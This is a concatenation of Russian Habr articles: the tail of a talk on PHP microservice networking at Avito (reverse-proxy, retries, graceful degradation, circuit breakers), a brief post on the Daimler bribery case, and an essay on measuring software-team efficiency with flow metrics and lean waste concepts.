* И вишенка на торте — X-Forwarded-Host. Это не самый стандартный, но очень полезный заголовок, чтобы на принимающем сервисе (service-user) мы могли идентифицировать того, кто запрос отправил.
Вернемся к reverse-proxy. Следующим шагом будет upstream, в котором есть keepalive и keepalive\_request — то есть определяем, сколько мы поддерживаем keepalive и запросов:
Обратите внимание на две секции server: service-user1 и service-user2. Я их добавил специально, чтобы показать, как можно обойтись без балансеров в двух инстансах вашего сервиса Но если у вас есть свои балансеры, то вам это не нужно — будет просто одна секция.
Также здесь указываем два очень важных параметра для настройки reverse-proxy:
* max\_fails=5 — он показывает, через сколько запросов этот сервер будет помечен как недоступный (сеть все-таки не даёт надёжной гарантии доступности).
* fail\_timeout=1s — на сколько секунд (в данном случае, на одну) мы помечаем этот сервис битым.
### Выводы
Reverse-proxy, в итоге, нам помог:
* Сэкономить на трёх из четырёх этапов curl. Про четвертый я не говорю, потому что предполагается, что фаза Transfer, когда вы отправляете payload — это ваш внешний публичный контракт, и их мы не пытаемся оптимизировать таким образом.
* Добавить надёжность, внедрив keep-alive. (Так как мы не переустанавливали каждый раз tcp/ip соединение, мы не тратили время на его установление)
* Более эффективно использовать сеть, потому что мы отказались для внутренних запросов от https в пользу http.
* Не тратить лишнее время процессоров на handshake.
Graceful degradation
--------------------
Это был наш следующий этап оптимизации, который точно стоит пройти. Концепция Graceful degradation позволяет заранее подумать, что делать, если наш сервис, который мы только что оптимизировали с reverse-proxy — не ответил. И ответ этот не очень простой: надо хорошо подумать, как жить дальше без этих данных.
Покажу на примере объявления с Авито о продаже реактивного двигателя от МИГа. Красными блоками я подсветил не ответившие сервисы: здесь нет данных от сервиса пользователей и сервиса статистики:
То есть даже без этих данных объявление приемлемо для нас как для пользователя: в нём есть номер телефона, по которому можно позвонить или написать, а также есть фотографии. В первом случае больше данных, но во втором мы не упали — и это важно. Вот что такое Graceful degradation.
### Выводы
Каким бы классным не был Graceful Degradation, он тем не менее — **очень сложная штука**, и его реально долго и дорого внедрять. Каждый раз вам придется договариваться с бизнесом. Потому что когда вы предлагаете продакту статистики: «Дружище, ты отвечаешь за статистику, а давай я ее иногда не буду показывать?» — то он вам ответит, что для него статистика — основной продукт, и он категорически против ее не показывать.
Graceful degradation увеличивает сложность и так непростой бизнес-логики в PHP-контроллерах. В каждом случае вам потребуется делать разные ветвления, если вы не можете получить данные статистики или пользователя — и в каждом месте кода для каждой странички это делается по-разному.
И вдобавок эта концепция требует проработки для каждого бизнес-сценария отдельно. Потому что один и тот же сервис — например, service-user — абсолютно по-разному деградирует на разных страницах:
Graceful degradation — проработка каждого бизнес-сценарияНа поисковой выдаче, если вдруг мы не знаем Васю или Петю, мы можем показать пустой блок, и последствий будет минимум. На странице объявлений не получить данные по Service-user будет достаточно важным, и мы покажем бабл «Попробовать еще раз». А страницу пользователя мы вообще не сможем отобразить, если не знаем ничего о пользователе. Поэтому Graceful degradation сложно реализуется в коде.
Retry
-----
Следующим нашим шагом в оптимизации приложений был retry — это попытки выполнить запрос ещё раз. Retry позволяет побороть кратковременные проблемы с сетью и поднимает надёжность работы бизнес-сценариев.
Однако у него есть и минусы:
* Retry увеличивает время ответа. Например, если у вас деградирует сервис graceful и вы сделали retry, то ваши ответы будут приходить чуть дольше.
* Retry позволяет вам совершить DDOS-атаку на собственное приложение.
* Retry не работает для не идемпотентных запросов.
### Стратегии retry
Retry можно использовать по-разному. Есть много стратегий его использования — мгновенная, фиксированная, инкрементальная и экспоненциальная итд. Остановимся более подробно на некоторых из них.
#### Мгновенный retry
Когда мы делаем мгновенный retry, то повторный запрос происходит сразу. Это удобно, если, например, мы совершили ошибку — её тут же можно заретраить. Такой приём позволяет нивелировать кратковременные проблемы с сетью.
Мгновенный retry подходит для интерактивных, интерфейсных задач. Например, когда нужно отобразить элемент интерфейса в рамках пользовательского запроса. Но лучше не делать retry более двух раз. Хотя это не железное правило, но в Авито мы его ввели.
#### Фиксированный retry
Он так называется, потому что между попытками отправки приходится ждать фиксированное время. Такой retry лучше сглаживает проблемы с сетью или сервисом, чем мгновенный. Он тоже подходит для интерактивных, интерфейсных задач — тут всё зависит от выбора фиксированной дельты.
#### Инкрементальный retry
Эта стратегия увеличивает задержку между попытками (1с, 2с, 3с и т.д.) и больше подходит для фоновых задач. Однако инкрементальный retry может дать больше попыток на retry, чем фиксированный.
#### Экспоненциальный retry
Для него характерен экспоненциальный рост задержки перед следующим повтором вплоть до больших цифр, но нужно сразу ограничить максимальное время ожидания. Экспоненциальный retry идеален для фоновых процессов и в случае падения сервиса.
Мы в Авито делаем retry на reverse-proxy примерно так:
Описание виртуальной локации (или service-user) содержит две строчки, в которых указано, в каких случаях мы делаем retry (error и timeout) и максимальное количество попыток retry.
В nginx retry есть много разных условий, его всегда можно настроить под разные типы запросов для вашего сервиса.
> **Но базово не ретраятся неидемпотентные запросы: POST, LOCK, PATCH. Будьте внимательны и не забудьте также про условие non\_idemponent, если у вас RPC внутри.**
>
> **И помните, что для любых типов retry мы ограничиваем максимальное количество попыток и максимальное время выполнение запроса.**
>
>
Мы ретраим на слое reverse-proxy, а не в коде, потому что мы используем guzzle\curl\_multi\_exec. То есть пока вся пачка запросов не отработает целиком, ретраить нам будет дорого и невкусно.
### Как retry всё сломал
Retry может быть опасен. Покажу на реальном нашем кейсе, как он может сломать всё.
* Сначала разработчики мобильного приложения решили, что экран биллинга для них — очень важный экран. В процессе тестирования они словили его флакующее поведение, и решили, что его следует отретраить, потому что продакты и тестировщики на регрессе экран не пропускали. Они добавили retry, и все тесты прошли прекрасно.
* Одновременно с ними наши DevOps-инженеры проверяли одну из своих гипотез и для идемпотентных запросов внутри сети добавили дополнительный retry.
* И в этот же время мы пытались ретраить запрос, в котором через guzzle делался обход 10 сервисов.
Казалось бы, что могло пойти не так? Но нагрузка выросла в 4 раза! Потому что слегка выросло время ответа одного сервиса, а в пачке их было 10. Сервис временами перестал укладываться в timeout и стал валить пользовательский экран. Упавший запрос ретраился нашей инфраструктурой и клиентом, а guzzle на всякий случай ретраил все 10 запросов:
### Сайд-эффекты микросервисов
Это другая история, которая у нас произошла с retry, и 100% это может случиться с любым микросервисным PHP-приложением.
Предположим, у вас есть приложение в 50 FPM-воркеров, вы в среднем отвечаете за 100 мс на 99 перцентиле и вытягиваете 500 RPS без деградаций и задержек. Это пиковая нагрузка, но и реально у вас 250 RPS . **То есть вы имеете 2кратный запас производительности и ресурсов.**
Чтобы быть надежней и пореже падать, вы делаете до 3 retry страницы профиля (service-user).
**Но в какой-то момент времени приложение внезапно ведет себя иначе:**
Теперь, несмотря на то, что у вас раньше был двукратный запас по производительности, всего из-за одного сервиса **вы деградировали**, и приложение перестало справляться. Пользовательские запросы висят в очереди на обработку, новые запросы не обрабатываются, а время ответа растет, как и увеличивается error-rate:
### Выводы
* Не используйте автоматический retry на клиенте. Но если решите использовать, то — только под конкретные случаи, анонсируя на всю компанию и ведя учет всем таким сценариям.
* Вместо retry отдавайте предпочтение graceful-degradation — после внедрения у вас будет гораздо меньше артефактов.
* Используйте retry только для данных, которые очень критичны для вашего бизнес-сценария, без которых совесм нельзя. И, конечно, вам будет нужно договориться об этом с вашими продактами.
Fail Fast
---------
Следующей стратегией оптимизации сетевого обмена у нас стала Fail Fast стратегия. Её обычно применяют в приложениях при оптимизации сети, у нее много разновидностей, и я расскажу о трех для примера.
Во-первых, для всех своих микросервисов мы обязательно указываем **connect\_timeout**, чтобы понимать, как долго ждать ответа от сервера. Наша практика показала, что нет смысла ставить connect\_timeout равным 100 мс, если вы не смогли установить соединение за 20 мс (возможно, у вас будут другие цифры) — если не получилось за 20 мс, то оно не установится никогда. Для нас число 20 подошло великолепно, в нее укладываются 99,99% запросов.
При этом проверьте, сколько точно времени уходит на ответы сервисов, и пропишите **реальные таймауты**. При переходе в микросервисы мы столкнулись с тем, что у всех микросервисов timeout стоял 1с, несмотря на то, что кто-то отвечал за 30 мс, а кто-то — за 900 мс.
Третья история — **circuit breaker** или аварийный выключатель. Он нужен, чтобы «больные» сервисы как можно быстрее падали. Реализовать его можно на nginx, как и reverse-proxy. Но есть и решения в PHP-коде, и на базе других reverse-proxy (например, envoy).
Circuit breaker детектит «здоровье» сервиса, и даже не пытается отправлять запрос, если сервис «заболел». Если бы в наших история с retry использовали circuit breaker, то получили бы «отлуп» от service-user за всего 1 мс. Схема работы circuit breaker очень простая:
Если мы на первый запрос получаем ответ с некоторым опозданием, то следующий запрос падает в timeout. Если приходит еще ответ с ошибками, то срабатывает circuit breaker, который мгновенно сообщает, что service-user недоступен.
Заключение
----------
Подводим итоги. С чем вы можете уйти сегодня:
* Используйте curl\_multi\_exec и guzzle.
* Reverse-proxy (nginx, envoy) прекрасно справляется с тем, что базовый PHP делает не очень хорошо. Он держит соединение между PHP-приложением и сервисами, ретраит запросы и делает за вас keep-alive.
* Прорабатывайте сценарии graceful degradation.
* Используйте retry только по необходимости и, по возможности — не на клиенте.
* При работе с микросервисамми придерживайтесь fail-fast-стратегий.
На самом деле микросервисы гораздо сложнее, чем кажется на первый взгляд. Видео моего выступления по этой теме на конференции PHP Russia 2021:
> [Открыт](https://clck.ru/ZCGUW) прием докладов на конференцию [PHPRussia 2022](https://clck.ru/ZCGVM). Она пройдет 12 и 13 сентября 2022 года в Москве.
>
> 9 декабря в 14:00 будет онлайн-встреча с Программным комитетом- Вы сможете задать вопросы членам ПК, например: какую тему лучше выбрать для доклада, как упаковать в питч ваши достижения, понравится ли тема аудитории и что можно улучшить. [Регистрация](https://clck.ru/ZCGdR).
>
> | https://habr.com/ru/post/593297/ | null | ru | null |
# История с Daimler
Как заметили в одном из топиков, Хабр становится оплотом гражданского самосознания, потому хочется добавить еще одну тему.
[](http://tinypic.com)
Около двух недель назад весь мир активно обсуждал расследование в отношении компании Daimler за взятки для лоббирования государственных заказов. Компания признала свою вину и согласилась заплатить штраф в $185 миллионов за отказ от дальнейшего расследования. В числе признавших вину и [российское подразделение компании](http://www.vedomosti.ru/newspaper/article/2010/03/25/229168):
`Получателями откатов в документах минюста (США - прим.) значатся сотрудники (или указанные ими посредники) из МВД, гаража особого назначения Федеральной службы охраны (ФСО), Минобороны и городских властей Москвы, Уфы и Нового Уренгоя.`
Никаких комментариев от российских властей так и не появилось. Поэтому блоггер Алексей Навальный [призывает всех «проявить гражданскую позицию и, не пожалев трех минут, поставить нашу власть перед серьезным испытанием».](http://navalny.livejournal.com/446841.html)
Помимо выполнения своего долга его (кстати, юриста) пост, интересен так же тем, что дает алгоритм и примеры заявлений которые вы можете отправить в разные инстанции пользуясь интернетом. | https://habr.com/ru/post/89975/ | null | ru | null |
# Как обеспечить «вдвое больше за половину времени»
Книга [Scrum](https://www.mann-ivanov-ferber.ru/books/scrum/?ysclid=lcx7cqqs62463531052) авторства Джеффа Сазерленда, соавтора одноимённой методологии, в российском переводе имеет следующий подзаголовок: «Революционный метод управления проектами». В оригинале подзаголовок отличается: The Art of Doing Twice the Work in Half the Time. Что-то похожее на «Искусство делать вдвое больше работы за половину времени». Нельзя быть уверенным, что вдвое больше сделанной работы принесёт вдвое больше пользы, поэтому это слово в заголовке статьи я деликатно опустил.
Потоки ценности в космосе с точки зрения DALL·E 2Теоретический менеджмент полон дедушек. Я читал работы Деминга (William Deming), Голдратта (Eliyahu Goldratt), Оно (Taiichi Ohno) и Друкера (Peter Drucker). Слышал о работах Акоффа (Russell Ackoff) и Джурана (Joseph Juran). Во всём прочитанном мне понравилось человечное и заботливое отношение к работающим людям. Тайити Оно был, пожалуй, строже остальных, но всё ещё очень человечен. Его можно понять, ведь он практиковал, ходил и убеждал людей, а нервы для этого иногда заканчиваются. Ни в одной из книг не было ничего похожего на «эксплуатируйте людей каждый день всё пуще, пока они не упадут без сил». Питер Друкер в своей книге [Management Rev Ed](https://www.amazon.com/Management-Rev-Ed-Peter-Drucker/dp/0061252662) даже дал нам, менеджменту 21-го века, подсказку, чем нужно заниматься:
> Важнейшим и действительно уникальным вкладом менеджмента в двадцатом веке было пятидесятикратное увеличение производительности физического труда на производстве.
>
> Самый важный вклад, который должен внести менеджмент в двадцать первом веке, — это повышение производительности умственного труда и работников умственного труда.
>
>
Более двадцати лет прошло с начала века. Как близко мы подошли к достижению этой амбициозной цели? Мне видится, что мы ещё далековато. Давайте посмотрим, где мы сейчас находимся, какие у нас есть проблемы, и что с ними можно сделать.
Разбор широко распространённого подхода к эффективности процесса разработки ПО
------------------------------------------------------------------------------
Чем мне нравится выражение «вдвое больше за половину времени», так это тем, что оно ёмко описывает, насколько более эффективной может стать наша работа. Это приятное чувство достаточно быстро упирается в вопрос, а что вообще такое эффективность в разработке ПО? Да и как понять, что со временем мы становимся эффективнее?
В конце концов, зачем нам вообще нужна эффективность? Она нужна нам затем, чтобы достигать тех же желаемых результатов с меньшими затратами. Во многих случаях это означает, что у нас появляется возможность отправить высвобожденное на решение других насущных проблем и улучшать качество жизни.
Люди, практикующие Скрам, предлагают в качестве мерила сложности задачки и требуемых на неё затрат использовать story points. Несмотря на всю распространённость термина, какого-то внятного и легко соскальзывающего с языка перевода мне найти не удалось. В уже упомянутой книжке Scrum используется слово «очки». Переводчики предлагают «относительные единицы сложности». К счастью, надолго на них мы останавливаться не будем. Вот мой перевод [определения этого термина со scrum.org](https://www.scrum.org/resources/blog/why-do-we-use-story-points-estimating):
> Story Point — относительная единица измерения, установленная и используемая скрам-командой для оценки относительной сложности требований.
>
>
Оценка задачи в SP — это такой множитель сложности относительно базовой задачки. То есть вы и я примерно представляем, сколько усилий потребовалось для реализации той самой не очень сложной задачки. Если я говорю, что новая задачка будет стоить 3 SP, то значит мне она кажется втрое более сложной, чем предыдущая. Тем не менее это всего лишь предположение, и кто знает, что там впереди.
Снова вернёмся к эффективности. Если мы разработаем за спринт задач на 25 SP, будем ли мы лучше, чем спринт назад, когда было вышло 15 SP? Или же мы просто были поосторожнее и поставили оценки повыше для такого же объёма работ? А что это такое за «такой же объём работ», как мы их сравниваем? У нас в разработке ПО нет повторяющейся в промышленных масштабах одинаковой работы. Мы проектируем и реализуем фабрики по преобразованию информации, а вот они уже предоставляют нужные услуги. Так как мы вообще можем говорить об эффективности в нашей индустрии?
Говорить об эффективности можно осторожно начать от обратного. Мы намеренно можем замедлить решение поставленной задачи. Можем попрокрастинировать, а можем прыгать от одной задачи к другой, замедляя тем самым выполнение каждой отдельной задачи. Если вы любите псевдопараллелизм, то вам сейчас хорошо. Итак, если что-то можно делать менее эффективно, то есть надежда, что и более эффективно это что-то можно делать. Но будут ли полезны в нашем путешествии стори поинты? Я не вижу их пользы для дальнейшего рассмотрения. При желании или же ненамеренно их можно совершенно легко исказить. Нам нужно меру получше.
Определяем объект измерения
---------------------------
Давайте пока не будем спешить с измерением. Ведь надо сначала выяснить, что измерять. Какой-то внятной единицы работы для всей индустрии программного обеспечения я предложить не могу. К счастью, этого и не требуется. Достаточно той самой идеи относительности, которую мы встретили выше. Но только не в том разнообразном виде, ведущему к множителям, а в более простом: «мы здесь занимаемся похожими вещами». Этот осмысленный шаг в развитии программного продукта может быть эпиком, задачей, новой функциональностью или чем-либо ещё, характеризующим однократное движение в развитии разрабатываемой системы.
Вот пример трёх уровней шагов:
```
Ценная для пользователя функция ПО:
⎿ Её часть, удобная кроссфункциональной команде разработки:
⎿ Конкретная задачка внутри этой части (например, доработка сервера)
```
Чтобы доработка была улучшаемой, ей достаточно обладать всего лишь двумя свойствами:
1. Иметь конкретное время начала и завершения;
2. Случаться регулярно.
Для простоты в оставшейся части статьи я буду использовать слово «доработка». Не все доработки одинаковы. Выше я привёл пример существования доработок трёх различных типов.
Доработка должна происходить регулярно. Не могу назвать какую-либо конкретную частоту, но важность повторяемости будет видна позже. Требование к её наличию исходит из того, что нельзя быть максимально эффективным с самого начала, но можно становиться эффективнее со временем по мере новых итераций. Так работает Скрам, так работает производственная система «Тойоты», так работает наука. Нам нужна повторяемость для того, чтобы уловить доработку и последовательно её улучшать.
Сделать сразу что-то наиболее эффективным образом можно лишь случайно. Чем больше составных частей содержит определённое действие, тем меньше вероятность такой случайности. Можно подготовиться заранее. Но сама возможность подготовиться заранее свидетельствует, что доработка или её части уже когда-то ранее случались, и имеется некоторое знание. К абсолютно новым явлениям нечего готовить. С другой стороны, едва ли мы встречаемся с такими явлениями в нашей жизни. Часть предыдущего опыта так или иначе всегда остаётся востребованной.
Объект нашего измерения и улучшения — доработка определённого типа.
Как измерить доработку определённого типа?
------------------------------------------
Может показаться, что предыдущая часть статьи ничего не добавляет. Ну существуют доработки определённого типа, но и что с того? Чем это лучше задач, измеренных с помощью относительных единиц, размеров футболок или видов животных?
Но название — это не единственное наше приобретение. У доработки есть также две временные метки, и нам доступна её продолжительность. Продолжительность — это потрясающее приобретение. Во-первых, она относится к понятному для очень многих языку:
— Сколько потребовалось времени, чтобы сделать эпик?
— 39 дней.
Во-вторых, если есть знакомая многим продолжительность, то и есть и возможность над ней работать с понятным для многих результатом.
Получаем ли мы что-нибудь ещё?
------------------------------
Второе предъявленное к доработке требование, регулярность, даёт нам так много, что непросто в это поверить. Во-первых, мы получаем *поток* доработок определённого типа. Вот мой перевод определения интересующего нас значения слова «поток» из прекрасной книги [Actionable Agile Metrics for Predictability](https://books.google.com/books?id=wvceswEACAAJ) Даниэля Ваканти (Daniel Vacanti):
> Проще говоря, поток — это движение и доставка потребительской ценности через процесс.
>
>
Наличие у доработки временных меток начала и конца даёт нам несколько новых метрик. Вот они, из той же книги:
> Незавершённое производство (work in progress, WIP) — количество элементов, над которыми идёт работа в рассматриваемый момент.
>
> Время цикла (cycle time) — количество времени, потребовавшееся элементу для прохождения процесса.
>
> Пропускная способность (throughput) — количество элементов, проходящих через процесс за единицу времени.
>
>
Могу заинтриговать вас, если вы думаете, что на этом всё. Мы только начинаем подходить к самым приятным инструментам. Поток доработок оставляет за собой след с течением времени. Этот след служит ключом для понимания системы и оценки её преобразований. След выражается через различные виды диаграмм, и одна из них — диаграмма рассеяния времени цикла (Cycle Time Scatterplot).
Диаграмма рассеяния времени цикла для демонстрационных данных инструмента ActionableAgileОсобое удовольствие от этой диаграммы приходит от осознания того, что она запечатлевает «как дела делаются» вне зависимости от того, какие это дела и как они делаются. Ей не нужен какой-либо особый процесс или методология. Хотите с её помощью запечатлеть чистку зубов? Пожалуйста. А хотите понять, сколько времени занимает построение одноэтажных домов? Пользуйтесь. Хотите зафиксировать процесс разработки фич с последующим A/B-тестированием? Делайте.
На изображении выше видны также горизонтальные пунктирные линии подписанные справа: 50%, 70%, 85%, 95%. Это процентили. Что они обозначают? На левой части они тоже подписаны. Та линия, у которой справа 85%, а слева — 16 дней может быть прочитана следующим образом:
> Для 85% доработок потребовалось 16 дней или меньше на полное осуществление системой.
>
>
Слово «система» в этом разделе статьи я использовал дважды. В оставшейся части его стоит понимать следующим образом:
> Система — это нечто, осуществляющее доработки определённого типа.
>
>
Доработкой определённого типа в гипотетической системе строительства домов будет строительство одного дома. Сделать километр дороги в данном случае не будет считаться доработкой, так как эта деятельность слишком отличается. Для дороги можно сделать другую систему, в которой доработкой будет являться укладка того самого километра. Впрочем, дома бывают разные, какого-то однозначного разделения здесь нет. Основное наше желание состоит в том, чтобы доработки были похожи друг на друга: похожие дома, похожая чистка зубов, похожая разработка фич с A/B-тестированием.
Ещё одно приобретение
---------------------
Пора обсудить ещё один эффект, который поможет нам улучшать то, что действительно нужно. Давайте представим ситуацию, когда есть команда разработки, и ей нужно разработать программное обеспечение. Доработкой будем считать пользовательскую историю (user story). Представим, что первая история успешно завершена и вы собираетесь с командой, чтобы обсудить прошедшее на ретроспективе. Делается это, чтобы дальше было лучше.
Есть ли в происходящем какой-нибудь подвох? Давайте присмотримся к ретроспективе повнимательнее.
Во время создания первой пользовательской истории наибольшей сложностью был выбор библиотек и установка требуемого для разработки программного обеспечения. Всё это заняло существенную часть времени и причинило много неудобств. Во время ретроспективы команда увлечённо обсуждает как договариваться и устанавливать всё болезненно, и как бы можно в следующий раз всё сделать умнее. Только вот будет ли такой следующий раз, когда все эти договорённости будут полезны?
Обыкновенно библиотеки после выбора остаются надолго, и вряд ли в следующий раз команда будет занята их обсуждением также интенсивно. Установка программного обеспечения также вряд ли будет волновать участников команды, ведь у них же всё уже установлено. Другое дело, что разумному предприятию нужно будет позаботиться о последующем приёме новичков и их включении в работу. Но это уже не процесс разработки пользовательских историй, а процесс приёма человека в команду.
Давайте посмотрим на это славное и известное высказывание Дональда Кнута (Donald Knuth) ([или Тони Хоара](https://www.laws-of-software.com/laws/knuth/?ref=hackernoon.com), Tony Hoare).
> Преждевременная оптимизация — корень всех зол.
>
>
Думаю, что вы не раз с таким высказыванием встречались. Суть его в том, что не стоит на ранних этапах разработки прыгать в оптимизацию производительности. Существует и другая вариация на ту же тему:
> Заставь это работать, сделай это правильно, сделай это быстрым. (Make it work. Make it right. Make it fast).
>
>
Пример с оптимизацией времени выбора библиотек тоже является преждевременной оптимизацией. Как же так произошло, что высказывание об особенностях разработки программных систем оказалось применимым и к командам, то есть человеческим системам? Это не мистика, просто и тут, и там нужно какое-то время понаблюдать за системой, чтобы понять её действительные очертания. Давайте рассмотрим ещё две причины, по которым не стоит срываться с места для улучшения системы.
### Статистическая причина не срываться с места для улучшения системы
Каждая завершённая доработка определённого типа обладает какой-то продолжительностью. Эта продолжительность состоит из двух частей: часть, вызванная общими, системными причинами и часть, вызванная специальными причинами.
Вспомним о чистке зубов. Обычно намазать пасту на щётку — секундное дело. Но в особых случаях, когда старый тюбик пасты пуст, требуется взять новую пасту из шкафа, открыть её, и только после использовать. Такое действие может занять минуту, а может и больше. Если по какой-нибудь невообразимой причине нам нужно будет работать над эффективностью намазывания пасты на щётку во время чистки зубов, то спешить не стоит. Ведь исследование может начаться с той самой ситуации, когда нужно будет открыть новую пасту. Это значительно увеличит продолжительность всего действия, и увеличение будет связано с упомянутыми выше специальными причинами.
Сама природа специальности предполагает, что нечто проявляется нерегулярно по каким-то особым случаям. То, что проявляется всегда, составляет основу доработки и нашу цель для последующих плодотворных улучшений.
### Причина из теории ограничений не срываться с места для улучшения системы
Что нам говорит теория ограничений? Она говорит, что система, производящая доработку будет не более производительна, чем наименее производительная её подсистема. То есть по аналогии с тем, что караван идёт со скоростью самого медленного верблюда. Помните пропускную способность? Речь о ней.
Рассмотрим ещё один гипотетический пример. Представим, что у нас есть компания по строительству одноэтажных домов, и в ней есть три команды: строители фундаментов, возводители стен, кровельщики. Производительности наших команд следующие:
* 6 фундаментов в год,
* 24 набора стен в год,
* 52 крыши в год.
Сколько домов эта команда успеет построить за год? Можно было бы сказать, что шесть, но точнее будет: не более шести. Строительство здесь последовательно: фундамент → стены → крыша. Завершение строительства последнего шестого дома окажется уже за пределами года.
График работ воображаемой компанииЕсли наши кровельщики произведут чудеса совершенствования и сумеют увеличить свою производительность, изменит ли это положение дел для компании? К сожалению, нет, в течение года мы так и продолжим возводить не более шести домов. Заливка фундамента всё ещё является нашим ограничением.
Числа, описывающие производительность вымышленной компании, даже к ней пришли с опытом. После того как описанная ранее команда разработки завершила свою первую пользовательскую историю, какой-то опыт появился, но этот опыт предоставляет нам лишь частичную информацию. Даже если мы и угадаем системную часть и начнём применять к ней улучшения, не факт, что именно она окажется ограничением. Собранной статистики на этот момент недостаточно, нам требуется больше.
Как много доработок нужно произвести, чтобы начать улучшать систему?
--------------------------------------------------------------------
Чтобы быть полностью уверенным в наибольшей плодотворности будущих улучшений, необходимо предварительно произвести всего лишь ∞ количество доработок. Вот тогда всё станет предельно ясно.🥁
Для всех остальных, живущих вне мира чистой математики, идёт следующее соображение. Уже упомянутая книга Actionable Agile Metrics for Predictability ссылается на другую книгу, [How to Measure Anything](https://books.google.com/books?id=693e2X6XV3MC), и предлагает следующий взгляд:
> Например, Дугласс Хаббард (Douglas Hubbard) советует своим клиентам следовать «Правилу пяти». Правило пяти гласит, что медиана генеральной совокупности будет с вероятностью в 93,75% находиться между минимальным и максимальным значением пятиэлементной случайной выборки.
>
>
*Пяти доработок достаточно, чтобы начинать полноценный анализ системы и её преобразование.*
Не рассматривайте это как запрет на какие-либо изменения процесса в первые пять итераций. Помимо соображений эффективности есть и другие: безопасность, сплочение команды и прочие.
Откуда начать улучшения системы?
--------------------------------
Если рассмотреть какое-нибудь очень простое действие, например, включение телевизора с помощью нажатия расположенной на нём кнопки, то вполне можно думать об этом действии как о неделимом. Чтобы уменьшить количество движения и затрачиваемое время, купите пульт и кладите его на определённое место рядом с диваном. В этом случае двадцатисекундное действие может сократиться и до одной секунды, а это на целых 95% более эффективно. При этом результат сохраняется тот же. Какой прекрасный пример работы с потерями!
Не все доработки такие прямолинейные. Уже упомянутая разработка пользовательских историй представляет куда более сложное действие. Получить какое-то улучшение за один рывок вряд ли получиться. Нам необходимо разбить такую работку на части. Возможно, с ними будет уже проще. Можем начать со следующего жизненного цикла:
1. Анализ,
2. Разработка,
3. Тестирование,
4. Готово.
С чего же начать?
В бережливом производстве изготовление изделия, доработка в терминах этой статьи, состоит из частей трёх типов:
* Действия, добавляющие ценность,
* Необходимые действия, не создающие ценность,
* Потери.
Формулирование пользовательских историй, разработка решения и его последующее кодирование добавляют ценность. Использование git'а для упорядочивания работы скорее относится к необходимым действиям, не создающим ценность. Программа никак не улучшается, но общий процесс разработки становится лучше организован. Ожидание подъёма неработающей базы данных — это потери. Они приостанавливают аккумулирование ценности без хорошей на то причины.
Потери (или муда) известны и определены создателем производственной системы «Тойоты», Тайити Оно. По крайней мере, он определил их для своей компании, создающей автомобили. В других сферах деятельности люди также создавали себе списки потерь. Вот пример такого списка из книги [Lean Software Development](https://books.google.com/books?id=UalKAgAAQBAJ) авторства Мэри и Тома Поппендиков (Mary and Tom Poppendiecks) для индустрии разработки программного обеспечения:
1. Частично сделанная работа,
2. Избыточные процессы,
3. Избыточные функции,
4. Переключение между задачами,
5. Ожидание,
6. Движение,
7. Дефекты.
Или, может эти? Из их же книги, «[Бережливое производство программного обеспечения: от идеи до прибыли](https://books.google.com/books/about/%D0%91%D0%B5%D1%80%D0%B5%D0%B6%D0%BB%D0%B8%D0%B2%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%BE%D0%B4%D1%81.html?id=TfF3kgAACAAJ)»:
1. Частично сделанная работа,
2. Избыточные функции,
3. Повторное обучение,
4. Ненужные передачи,
5. Задержки,
6. Переключения между задачами,
7. Дефекты.
Мне больше нравится второй список. По крайней мере, в нём разрешается двигаться.
Но подождите, разве могут основы так радикально меняться? Кажется, что могут. Я думаю, что составить всеобъемлющий список потерь на все времена для нашей индустрии в принципе невозможно. Да и «Тойота», кстати, в какой-то момент пришла к восьмому типу потерь.
Если посмотреть на ситуацию с другой стороны, то и хорошо, что этот список так изменился. Ведь эта перемена открывает нам чуткость и к другим, ещё не обнаруженным. То, как далеко мы можем зайти в выявлении потерь, показывает следующий отрывок из книги [The Value Flywheel Effect](https://books.google.com/books?id=MmJjEAAAQBAJ) авторства Дэвида Андерсона (David Anderson), Марка МакКанна (Mark McCann) и Майкла О’Райли (Michael O’Reilly):
> Одно из наиболее крупных заблуждений в мире разработки — это ценность кода. Код — это обуза, пассив, и мы это неоднократно повторим на протяжении книги. Чем больше кода мы пишем, тем больше сложности и риска создаём для себя.
>
>
Вот это поворот.
Так с чего начинать улучшения системы разработки ПО? С обнаружения наименее производительной её части. И что мы там ищем? Там мы ищем потери.
Перерабатываем процесс разработки пользовательских историй
----------------------------------------------------------
В прошлой части этой статьи мы начали со следующего процесса:
1. Анализ,
2. Разработка,
3. Тестирование,
4. Готово.
Обычно эти этапы делают разные люди, и обычно между ними происходит ожидание. Давайте задокументируем его:
1. Анализ,
2. Анализ завершён,
3. Разработка,
4. Разработка завершена,
5. Тестирование,
6. Готово.
Эти шаги я не придумывал. Я взял их из демонстрации [продукта ActionableAgile Analytics](https://demo.actionableagile.com/). Можно ли доверять этим данным? Да, у меня есть опыт работы с реальными данными, и эти данные на них похожи. Давайте изучим следующую статистику. Она описывает средние значения показателей потока пользовательских историй.
Средние значения времени цикла для демонстрационных данных инструмента ActionableAgileВремя цикла системы составляет 9,37 дня. Это утверждение означает, что пользовательская история оказывается в статусе «Анализ» (Analysis Active), двигается через последующие статусы, а затем покидает статус «Тестирование» (Testing) и оказывается в «Готово» (Done), и в среднем для нашей системы на это требуется 9,37 дня. Ценность создаётся во время нахождения задачи в статусах «Анализ», «Разработка» (Dev Active), «Тестирование». «Анализ завершён» (Analysis Done), «Разработка завершена» (Dev Done) — это очереди, ожидание, ничего полезного. Отметим эти этапы как очереди на диаграмме эффективности потока (Flow Efficiency Diagram). Теперь видно, что в среднем с пользой при разработке пользовательской истории тратится лишь 40% времени.
Диаграмма эффективности потока для демонстрационных данных инструмента ActionableAgileНа этой диаграмме также учитывается время нахождения задач в заблокированном состоянии. Ещё учитываются и те странные задачи, которые всю свою жизнь провели в очередях. Если это исключить, то эффективность потока работ для этих демонстрационных данных составит около 50%.
Работаем с бесцельно потраченным временем
-----------------------------------------
Нам неизвестно, как именно в деталях обстоят дела в нашей выдуманной команде. Поэтому здесь не будет каких-либо чрезвычайно конкретных рекомендаций вроде: «Выдать команде аналитиков компьютеры получше». Здесь очень хорошо упомянуть второй принцип понимания данных из книги «[Понимание вариабельности как ключ к устранению организационного хаоса](https://leanbooks.ru/books/understanding-variation/)» Дональда Уилера (Donald Wheeler):
> Никакие данные не имеют смысла в отрыве от своего контекста.
>
>
Тем не менее я планирую представить достаточно рассуждений, чтобы вдохновить вас на размышления над собственными ситуациями.
